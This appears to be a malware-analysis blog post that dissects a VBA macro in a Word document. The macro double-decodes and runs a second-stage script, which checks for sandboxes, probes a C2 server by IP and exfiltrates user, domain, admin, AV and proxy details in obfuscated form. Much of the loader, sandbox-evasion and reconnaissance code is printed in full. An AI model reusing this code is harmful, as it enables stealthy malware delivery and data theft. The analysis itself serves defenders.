On first finding this sample, I was excited to think that I had found something interesting, rarely detected, and definitely malicious so close to when it was potentially used in a phishing attack. The more analysis I did, the more it became clear this was more likely a testing document, used by a security team evaluating their employees or an endpoint product. Still, it was an interesting sample to play with, and understand how it does interesting things like C2 protocol detection and Sandbox detection.

File Info

Filename dotanFile.doc
sha1 bf8001c5f9b59c9825eec0a4128fbedd8e68fb20
VT Link https://www.virustotal.com/#/file/fe5ea4c11a3a933f3592f76287334eb2161181efd7241a2b99b5c20aff649f76/details

Metadata

The file was uploaded to VT about an hour and a half ago, and last modified today as well:

# file fe5ea4c11a3a933f3592f76287334eb2161181efd7241a2b99b5c20aff649f76
fe5ea4c11a3a933f3592f76287334eb2161181efd7241a2b99b5c20aff649f76: Composite Document File V2 Document, Little Endian, Os: Windows, Version 10.0, Code page: 1252, Author: Liran Segal, Template: Normal.dotm, Last Saved By: Liran Segal, Revision Number: 19, Name of Creating Application: Microsoft Office Word, Total Editing Time: 01:44:00, Create Time/Date: Wed Aug  8 21:32:00 2018, Last Saved Time/Date: Wed Aug  8 23:57:00 2018, Number of Pages: 1, Number of Words: 0, Number of Characters: 0, Security: 0

VT Detections

At the time of writing, only 5 AV engines detect this file as malicious:

1533777230141

Presentation / Lure

This document is just a blank document, so nothing to lure the user, no pretense.

VBA

Raw

The VBA in this document actually interfaces with Word to create a new document, put VBA into it, and then call the AutoOpen function from it. We’ll walk through the interesting blocks.

Inside the DocumentOpen function, first it creates two strings. comStr is a large base64-encoded blob. chckT is “bin”

    comStr = s01

    chckT = "bi"
    chckT = chckT + "n."

Next, it uses GetObject to get a reference to MicrosoftWord, and then adds a new item. merrFolder will be something like “Document1”, or a higher number if there are already other unsaved documents open. It also adds a VB component to the document.

    Set errDesktop = GetObject("new:000209FF-0000-0000-C000-000000000046")
    Set merrFolder = errDesktop.Documents.Add
    merrFolder.ActiveWindow.Visible = True
    Set objectFile = merrFolder.VBProject.VBComponents.Add(1)

Next it does a similar bit with MSXML, getting an object, creating an element. Then it calls a function, firstDe, passing in the base64-encoded blob and the MSXML object:

    Set gtypeDesktop = GetObject("new:2933BF90-7B36-11D2-B20E-00C04F983E60")
    Set mlngCode = gtypeDesktop.createElement("merrFound")
    comStr = firstDe(comStr, mlngCode)

firstDe uses MSXML’s StrConv function to base64-decode the blog and return it:

Function firstDe(comStr, mlngCode)
    mlngCode.DataType = "bin.base64"
    mlngCode.Text = comStr
    blnCurrent = mlngCode.NodeTypedValue
    firstDe = StrConv(blnCurrent, vbUnicode)
End Function

Next, the string “base64” is formed, and then the blob is base64-decoded a second time, and then added to a CodeModule. Finally, that module’s Auto_Open function is run:

    chckT = chckT + "ba"
    chckT = chckT + "s"
    chckT = chckT + "e6"
    chckT = chckT + "4"

    mlngCode.DataType = chckT
    mlngCode.Text = comStr
    blnCurrent = mlngCode.NodeTypedValue
    objectFile.CodeModule.AddFromString StrConv(blnCurrent, vbUnicode)
    errDesktop.Run ("Auto_Open")

Decoded

I pulled out the blob and decoded it twice. The resulting code seems to be completely unobfuscated.

Function Names

To start, looking at the list of function names, there’s a good bit to do with networking, as well as some other really interesting ones like Sandbox, IsLocalAdmin, IsOutlookRunning, GetAV, GetProxy:

Private Declare Function IcmpCreateFile Lib "icmp.dll" () As Long
Private Declare Function IcmpCloseHandle Lib "icmp.dll" _
Private Declare Function IcmpSendEcho Lib "icmp.dll" _
Private Declare Function WSAGetLastError Lib "wsock32" () As Long
Private Declare Function WSAStartup Lib "wsock32" _
Private Declare Function WSACleanup Lib "wsock32" () As Long
Private Declare Function gethostname Lib "wsock32" _
Private Declare Function gethostbyname Lib "wsock32" _
Private Declare Function inet_addr Lib "wsock32" _
Private Declare Function DnsQuery Lib "dnsapi" Alias "DnsQuery_A" (ByVal strname As String, ByVal wType As Integer, ByVal fOptions As Long, ByVal pServers As Long, ppQueryResultsSet As Long, ByVal pReserved As Long) As Long
Private Declare Function DnsRecordListFree Lib "dnsapi" (ByVal pDnsRecord As Long, ByVal FreeType As Long) As Long
Function Main()
Function SandBox()
Function GetMethodType(myWebsite)
Function BuildQuery() As String
Function InitHTTP(myWebsite, objHTTP, sText)
Function InitHTTPS(myWebsite, sText)
Function TestDNS()
Function TestHTTP(objHTTP, myWebsite)
Function TestHTTPS(myWebsite)
Function TestICMP(strHost)
Function IsLocalAdmin(objSysInfo)
Function IsOutlookRunning(objWMIService)
Function GetUser(objSysInfo)
Function GetDomain(objWMISvc, colItems)
Function GetAV(colItemsAV)
Function GetProxy(oReg)
Function btoa(sourceStr)
Private Function QueryDNS(sAddr As String) As Boolean
Private Function sendPing(Adrr, text) As Boolean
Private Function Ping(sAddress As String, _
Private Function SocketsInitialize() As Boolean
Private Function GetStatusCode(status As Long) As String

Main

The Auto_Open function called in the loading VBA simply calls Main.

Main starts with a check, If Sandbox Then Exit Function. Then there’s a switch statement on GetMethodType("54.152.19.47")

This function tests the c2 to see what it’s listening on:

Function GetMethodType(myWebsite)

    Dim objHTTP, gggggggg
    gggggggg = "WinHttp.WinHttpRequest.5.1"
    Set objHTTP = CreateObject(gggggggg)
    If TestHTTP(objHTTP, myWebsite) Then
        GetMethodType = 0
        Exit Function
    Else
        If TestHTTPS(myWebsite) Then
        GetMethodType = 1
        Exit Function
        End If
    End If

    If TestICMP(myWebsite) Then
        GetMethodType = 2
        Exit Function
    End If

     If TestDNS() Then
        GetMethodType = 3
        Exit Function
    End If


    GetMethodType = 999
End Function

I simulated the TestHTTP function with a curl, and got back a result:

root@kali:~/malware/dotanFile.doc# curl -H "User-Agent: Mozilla/4.0 (compatible; MyApp 1.0; Windows NT 5.1)" http://54.152.19.47/
<!DOCTYPE html>
<html>
<head>
<style>
ul {
    list-style-type: none;
    margin: 0;
    padding: 0;
    overflow: hidden;
    background-color: #333;
}

li {
    float: left;
}

li a {
    display: inline-block;
    color: white;
    text-align: center;
    padding: 14px 16px;
    text-decoration: none;
}

li a:hover {
    background-color: #111;
}

.active {
    background-color: red;
}
#bg {
    width: 100%;
    height: 100%;
    position: absolute;
    top: 0;
    left: 0;
    z-index: -5000;
}
</style>
</head>
<body>

<ul>
  <li><a href="#home" class="active">Home</a></li>
  <li><a href="/CORSer.html">Corser</a></li>
  <li><a href="/WSclient.html">WebSocket Client</a></li>
  <li><a href="/clickJacker.html">ClickJacking</a></li>
  <li><a href="/Facebooc.html">Phishing - Example</a></li>
</ul>
<div align="center"><img src="https://i.imgur.com/JZrUNZr.gif" id="bg"></div>
</body>
</html>

This was my first clue that this document likely wasn’t actually in use by malicious actor. The return page has all sorts of malicious terms in it, and makes no attempt to hide.

I also tested HTTPS, but got no response.

Continuing with HTTP as successful, the code goes into this block, here it builds a query, sends the request to the C2, and then pops a msgbox with success or failure:

                sText = BuildQuery()

                If InitHTTP(myWebsite, objHTTP, sText) Then
                    MsgBox sText, vbOKOnly, "Reqeust Sent HTTP"
                Else
                    MsgBox sText, vbOKOnly, "Failed to Initiate HTTP request"
                End If

Survey Data

The data that is sent out is an obfuscated string. First, it collects a bunch of information:

    hhhhhhhh = "winmgmts:\\.\root\cimv2"
    iiiiiiiii = "winmgmts:{impersonationLevel=impersonate}!\\"
    jjjjjjjj = "\root\SecurityCenter2"
    kkkkkkk = "Select * frOm AntiVir"
    llllllllll = "usProduct"
    mmmmmmm = "Select * from Win32_ComputerSystem"
    nnnnnnn = "WinNTSystemInfo"
    oooooo = "\root\default:StdRegProv"
    ppppppp = "winmgmts://"
    qqqqqqq = "u="
    rrrrrr = "&d="
    ttttttt = "&isA="
    ssssssssss = "&out="
    uuuuuuu = "&av="
    vvvvvvvv = "&Proxy="
    Const strComputer = "."
    Set objWMISvc = GetObject(hhhhhhhh)
    Set AVWMI = GetObject(iiiiiiiii & strComputer & jjjjjjjj)
    Set colItemsAV = AVWMI.ExecQuery(kkkkkkk & llllllllll)
    Set colItemsDOM = objWMISvc.ExecQuery(mmmmmmm)
    Set objSysInfo = CreateObject(nnnnnnn)
    Set oReg = GetObject(iiiiiiiii & strComputer & oooooo)
    strObject = ppppppp & strComputer
    ddddddDDD = GetDomain(objWMISvc, colItemsDOM)
    uuuUU1 = GetUser(objSysInfo)
    iissAAA = IsLocalAdmin(objSysInfo)
    Outout = IsOutlookRunning(objWMISvc)
    aAAVVv = GetAV(colItemsAV)
    pPPPRRr = GetProxy(oReg)

Then it combines it all into a string, and calls btoa to base64 encode it:

    Str = btoa(qqqqqqq & uuuUU1 & rrrrrr & ddddddDDD & ttttttt & iissAAA & ssssssssss & Outout & uuuuuuu & aAAVVv & vvvvvvvv & pPPPRRr)

Then, it obfuscates further by replacing a bunch of characters with punctuation:

    Str = Replace(Str, "A", ":")
    Str = Replace(Str, "a", "~")
    Str = Replace(Str, "B", "%")
    Str = Replace(Str, "b", "*")
    Str = Replace(Str, "C", "{")
    Str = Replace(Str, "c", "-")
    Str = Replace(Str, "D", "}")
    Str = Replace(Str, "1", "]")
    Str = Replace(Str, "2", "[")
    Str = Replace(Str, "3", "$")
    Str = Replace(Str, "=", "&")
    BuildQuery = Str

On my test host, that came out as:

dT][YWdyYW50JmQ9V09SS0dST]VQJmlzQT]U-nVlJm9]d}]GYWxzZSZhdj]N~WNy*$NvZnQgU[VjdXJpdHkgRXNzZW50~WFs-y]E~XNhYmxlZ{smUHJveHk9LT:&

$ echo 'dT][YWdyYW50JmQ9V09SS0dST]VQJmlzQT]U-nVlJm9]d}]GYWxzZSZhdj]N~WNy*$NvZnQgU[VjdXJpdHkgRXNzZW50~WFs-y]E~XNhYmxlZ{smUHJveHk9LT:&' | tr ':~%*{-}][$&' 'AaBbCcD123=' | base64 -D
u=vagrant&d=WORKGROUP&isA=Tue&out=False&av=Microsoft Security Essential-Disabled+&Proxy=-0~

SandBox

The SandBox function is interesting as well. It starts with a score variable set to 0, performs a series of tests, each one potentially incrementing score by 1 or 2, and then returns true is score is greater than 2.

The tests are:

  • If the computer is part of a domain, and the computer name is the same as the domain name, score += 2
  • If the number of cores < 2, score += 1
  • If the system up time is less than 11 minutes, score += 2
  • If the size of the hard drive is less than 15 GB, score += 2
  • If the amount of filled space on the hard drive (size of the harddrive minus the free space) is less than 15 GB, score += 1

Here’s the sandbox detection code in it’s entirety:

Function SandBox()

    Dim score, aaaaaa, bbbbbb, cccccc, dddddd, eeeeee, fffffff
    aaaaaa = "winmgmts:\\.\root\cimv2"
    bbbbbb = "SeleCt * from Win32_ComputerSystem"
    cccccc = "WinNTSystemInfo"
    dddddd = "SELeCT * FROM Win32_Processor"
    eeeeee = "SeleCt * From Win32_PerfFormattedData_PerfOS_System"
    fffffff = "Win32_LogicalDisk.DeviceID='c:'"
    score = 0
    Dim objWMISvc
    Set objWMISvc = GetObject(aaaaaa)
    Dim colItemsDisk
    Dim colItems
    Set colItems = objWMISvc.ExecQuery(bbbbbb)
    Dim objSysInfo
    Set objSysInfo = CreateObject(cccccc)
    Dim strComputerName
    Dim stfgds
    stfgds = ", "
    strComputerName = objSysInfo.ComputerName
    For Each objItem In colItems
        strComputerDomain = objItem.Domain
        If objItem.PartOfDomain And strComputerName = strComputerDomain Then
            score = score + 2
        End If
    Next
    Set colItems = objWMISvc.ExecQuery(dddddd)
    For Each objItem In colItems
        If objItem.NumberOfCores < 2 Then
        score = score + 1
        End If
    Next
    Set colOperatingSystems = objWMISvc.ExecQuery(eeeeee)
    For Each objOS In colOperatingSystems
        intSystemUptime = Int(objOS.SystemUpTime)
        TimedAt = FormatDateTime(Date, 2) & stfgds & FormatDateTime(Time(), 4)
        M = intSystemUptime \ 60
        If M < 11 Then
          score = score + 2
        End If
    Next
    Set colItemsDisk = objWMISvc.Get(fffffff)
    GB = Round(colItemsDisk.FreeSpace / 1024 / 1024 / 1024)
    SZ = Round(colItemsDisk.Size / 1024 / 1024 / 1024)
    If SZ <= 60 Then
        score = score + 2
    End If
    If SZ - GB <= 15 Then
        score = score + 1
    End If
    If score > 2 Then
        SandBox = True
    Else
        SandBox = False
    End If
End Function

Summary

I’d never pulled apart a document where the VBA created another document, including VBA. And while typically the unobfuscated VBA does as little necessary to download or drop the next stage on disk, this sample implemented a good deal of code. This seems more like a sample used by testers than a true malicious result. Still, more than 5 vendors in VT should be alerting on this document.